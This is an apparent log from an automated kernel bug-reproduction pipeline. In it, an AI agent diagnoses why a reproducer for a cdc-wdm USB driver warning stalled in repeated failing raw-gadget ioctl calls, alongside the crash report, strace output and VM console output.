[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[host] Command execution timed out after 2m30s
]
|
| 265/3 |
2026/09/11 23:09 |
agent |
repro-oracle |
0m
Model:
Results: map[Feedback:The reproducer timed out after 2m30s without triggering the crash.
The strace output shows the program gets stuck in an infinite loop of failing ioctl calls:
`ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)`
This ioctl corresponds to `USB_RAW_IOCTL_EVENT_FETCH` on the `raw-gadget` device (`_IOR('U', 2, struct usb_raw_event)`).
In the kernel's `raw_ioctl_event_fetch()` (`drivers/usb/gadget/legacy/raw_gadget.c`), the ioctl returns `-EINVAL` in two main cases related to the `length` field of the user-provided `struct usb_raw_event`:
1. If `fetch.length > U16_MAX`
2. If `fetch.length < event->length` (the buffer is too small for the pending event).
It appears the C code is not correctly initializing the `length` field of the `usb_raw_event` structure before calling the ioctl (it might be uninitialized garbage or 0). As a result, the event fetch fails, the USB gadget emulation gets stuck in an infinite loop, and the target driver (`cdc-wdm`) is never probed.
To fix this:
1. Ensure that before calling `USB_RAW_IOCTL_EVENT_FETCH`, the `length` field of the event structure is explicitly initialized to the size of the allocated data buffer (e.g., 64).
2. Ensure the USB device descriptors provided in the reproducer correctly match a CDC WDM device (e.g., correct bInterfaceClass, bInterfaceSubClass, and bInterfaceProtocol) so that the `cdc-wdm` driver is actually probed once the gadget is running. ProbePassed:false TerminalError: TitleMatches:false]
Instruction: You are a security researcher with deep Linux kernel background.
Analyze the results of running the generated program.
=== CRITICAL ENVIRONMENT & TARGET CLASSIFICATION ===
Set 'TerminalError' to a descriptive error message ONLY if:
1. The execution failed due to missing hardware device nodes, subsystems, kernel modules, or privilege limits
that cannot be loaded, created, or bypassed by user-space C code edits in the VM guest.
2. The target source files or functions described in the bug description do not exist in the checked-out codebase,
meaning the codebase version is mismatched and the target code is absent.
=== CRITICAL PROHIBITIONS ===
- Do NOT classify a run as a terminal failure or assume a bug is fixed based on git log entries, commit titles,
or commit messages. Reproducibility can ONLY be determined by executing reproducer candidates in the VM.
- Do NOT suggest C code strategies, repairs, or namespace bypasses when setting 'TerminalError'.
=== PHASE 2: BUG REPRODUCTION (EVALUATION) ===
The executed program was a full reproducer candidate attempting to trigger the target bug/crash.
Use this to guide your classification and feedback:
1. If a crash was triggered (Reproduced is true):
- Determine if the triggered crash matches the expected bug.
- If you conclude they represent the same underlying bug (the same root cause)
despite different titles, crash signatures, or call traces, set TitleMatches
to true and provide a detailed, technical, and verbose explanation of the
equivalence in the 'Feedback' field.
- If they do not represent the same bug (a completely unrelated crash/collision),
set TitleMatches to false and explain the collision in 'Feedback'.
- If they match exactly, set TitleMatches to true and provide a brief confirmation in 'Feedback'.
2. If the execution was successful (exit 0) WITHOUT a crash (Reproduced is false):
- The reproduction attempt failed to trigger the bug. Analyze the console/strace output
to understand why the bug did not trigger (e.g., timing, input arguments, environment setup)
and provide feedback on how to improve the reproducer logic to trigger the crash.
Critical Diagnostic Rule for Reproduction Failures:
If the reproduction attempt fails (e.g., a system call returns an error, or a
warning/error message appears in the console log), you MUST:
1. Identify the failing system call from the execution trace or strace output.
2. Identify any corresponding warning or error messages in the console log.
3. Provide a clear technical diagnosis in the feedback identifying the failing call,
return code (errno), and error messages so the strategy-refiner can analyze the root cause.
Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.
Prompt: Bug Description: WARNING in service_outstanding_interrupt/usb_submit_urb
------------[ cut here ]------------
URB ffff888112540000 submitted while active
WARNING: drivers/usb/core/urb.c:379 at usb_submit_urb+0x1689/0x19b0 drivers/usb/core/urb.c:379, CPU#0: syz.0.163/5871
Modules linked in:
CPU: 0 UID: 0 PID: 5871 Comm: syz.0.163 Not tainted syzkaller #0 PREEMPT(lazy)
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/24/2026
RIP: 0010:usb_submit_urb+0x168c/0x19b0 drivers/usb/core/urb.c:379
Code: 00 48 8b 04 24 48 8b 90 b0 00 00 00 e9 70 ff ff ff bb ed ff ff ff e9 ac f1 ff ff e8 be 79 b2 fc 48 8d 3d d7 b6 19 06 48 89 de <67> 48 0f b9 3a bb f0 ff ff ff e9 8e f1 ff ff c7 44 24 30 00 00 00
RSP: 0018:ffffc90013e2fb50 EFLAGS: 00010293
RAX: 0000000000000000 RBX: ffff888112540000 RCX: 0000000000000000
RDX: ffff888112d28000 RSI: ffff888112540000 RDI: ffffffff8b1c35d0
RBP: ffff88810ffb5090 R08: 0000000000000001 R09: 0000000000000000
R10: 0000000000000001 R11: 0000000000000000 R12: 0000000000000000
R13: ffff88810ffb52b8 R14: ffff88810ffb5050 R15: ffff88810ffb5050
FS: 00007f59984c56c0(0000) GS:ffff8882683e4000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 000000110c2d13ca CR3: 00000001149e4000 CR4: 00000000003506f0
Call Trace:
<TASK>
service_outstanding_interrupt.isra.0+0x166/0x270 drivers/usb/class/cdc-wdm.c:509
wdm_read+0x8a8/0xaf0 drivers/usb/class/cdc-wdm.c:615
vfs_read+0x1e4/0xb40 fs/read_write.c:572
ksys_read+0x12a/0x250 fs/read_write.c:716
do_syscall_x64 arch/x86/entry/syscall_64.c:61 [inline]
do_syscall_64+0x119/0x710 arch/x86/entry/syscall_64.c:84
entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7f5999aae159
Code: ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 e8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f59984c5028 EFLAGS: 00000246 ORIG_RAX: 0000000000000000
RAX: ffffffffffffffda RBX: 00007f5999d36180 RCX: 00007f5999aae159
RDX: 00000000000000b3 RSI: 0000200000000340 RDI: 000000000000001e
RBP: 00007f5999b45024 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000
R13: 00007f5999d36218 R14: 00007f5999d36180 R15: 00007ffc3efb3688
</TASK>
----------------
Code disassembly (best guess):
0: 00 48 8b add %cl,-0x75(%rax)
3: 04 24 add $0x24,%al
5: 48 8b 90 b0 00 00 00 mov 0xb0(%rax),%rdx
c: e9 70 ff ff ff jmp 0xffffff81
11: bb ed ff ff ff mov $0xffffffed,%ebx
16: e9 ac f1 ff ff jmp 0xfffff1c7
1b: e8 be 79 b2 fc call 0xfcb279de
20: 48 8d 3d d7 b6 19 06 lea 0x619b6d7(%rip),%rdi # 0x619b6fe
27: 48 89 de mov %rbx,%rsi
* 2a: 67 48 0f b9 3a ud1 (%edx),%rdi <-- trapping instruction
2f: bb f0 ff ff ff mov $0xfffffff0,%ebx
34: e9 8e f1 ff ff jmp 0xfffff1c7
39: c7 .byte 0xc7
3a: 44 24 30 rex.R and $0x30,%al
3d: 00 00 add %al,(%rax)
IsProbe: false
Reproduced: false
Console Output: [ 61.300215][ T33] kauditd_printk_skb: 10 callbacks suppressed
[ 61.302541][ T33] audit: type=1400 audit(1789167759.671:201): avc: denied { transition } for pid=5826 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.310106][ T33] audit: type=1400 audit(1789167759.671:202): avc: denied { noatsecure } for pid=5826 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.310130][ T33] audit: type=1400 audit(1789167759.671:203): avc: denied { rlimitinh } for pid=5826 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[ 61.310144][ T33] audit: type=1400 audit(1789167759.671:204): avc: denied { siginh } for pid=5826 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
Warning: Permanently added '[localhost]:15750' (ED25519) to the list of known hosts.
[+] Gadget initialized and running.
[ 64.584694][ T33] audit: type=1400 audit(1789167762.961:205): avc: denied { read write } for pid=5838 comm="syz-executor333" name="raw-gadget" dev="devtmpfs" ino=824 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:device_t tclass=chr_file permissive=1
[ 64.596706][ T33] audit: type=1400 audit(1789167762.961:206): avc: denied { open } for pid=5838 comm="syz-executor333" path="/dev/raw-gadget" dev="devtmpfs" ino=824 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:device_t tclass=chr_file permissive=1
[ 64.604954][ T33] audit: type=1400 audit(1789167762.961:207): avc: denied { ioctl } for pid=5838 comm="syz-executor333" path="/dev/raw-gadget" dev="devtmpfs" ino=824 ioctlcmd=0x5500 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:device_t tclass=chr_file permissive=1
[ 64.854215][ T51] usb 1-1: new high-speed USB device number 2 using dummy_hcd
[ 65.336775][ T33] audit: type=1400 audit(1789167763.711:208): avc: denied { write } for pid=5844 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 65.381559][ T33] audit: type=1400 audit(1789167763.751:209): avc: denied { write } for pid=5847 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 65.520239][ T33] audit: type=1400 audit(1789167763.891:210): avc: denied { write } for pid=5850 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 66.308929][ T33] kauditd_printk_skb: 12 callbacks suppressed
[ 66.308990][ T33] audit: type=1400 audit(1789167764.681:223): avc: denied { write } for pid=5889 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[ 70.023783][ T51] usb 1-1: device descriptor read/64, error -110
[ 70.263781][ T51] usb 1-1: new high-speed USB device number 3 using dummy_hcd
[ 70.393895][ T51] usb 1-1: device descriptor read/64, error -32
[ 70.503964][ T51] usb usb1-port1: attempt power cycle
[ 70.793812][ T51] raw-gadget.0 gadget.0: failed to queue resume event
[ 70.853763][ T51] usb 1-1: new high-speed USB device number 4 using dummy_hcd
[ 70.873955][ C1] raw-gadget.0 gadget.0: ignoring, device is not running
[ 70.874090][ T51] usb 1-1: device descriptor read/8, error -32
[ 70.983832][ T51] raw-gadget.0 gadget.0: failed to queue suspend event
[ 70.984066][ T51] raw-gadget.0 gadget.0: failed to queue reset event
[ 71.053827][ T51] raw-gadget.0 gadget.0: failed to queue resume event
[ 71.113784][ T51] usb 1-1: new high-speed USB device number 5 using dummy_hcd
[ 71.133972][ C1] raw-gadget.0 gadget.0: ignoring, device is not running
[ 71.134086][ T51] usb 1-1: device descriptor read/8, error -32
[ 71.244674][ T51] raw-gadget.0 gadget.0: failed to queue suspend event
[ 71.244884][ T51] usb usb1-port1: unable to enumerate USB device
[ 71.574639][ T1381] ieee802154 phy0 wpan0: encryption failed: -22
[ 71.574715][ T1381] ieee802154 phy1 wpan1: encryption failed: -22
[ 76.684839][ T993] cfg80211: failed to load regulatory.db
[ 133.004763][ T1381] ieee802154 phy0 wpan0: encryption failed: -22
[ 133.004849][ T1381] ieee802154 phy1 wpan1: encryption failed: -22
[ 194.444740][ T1381] ieee802154 phy0 wpan0: encryption failed: -22
[ 194.444805][ T1381] ieee802154 phy1 wpan1: encryption failed: -22
[host] Command execution timed out after 2m30s
Strace Output: [pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
[pid 5878] ioctl(3, _IOC(_IOC_READ, 0x55, 0x2, 0x48), 0x7ff457545080) = -1 EINVAL (Invalid argument)
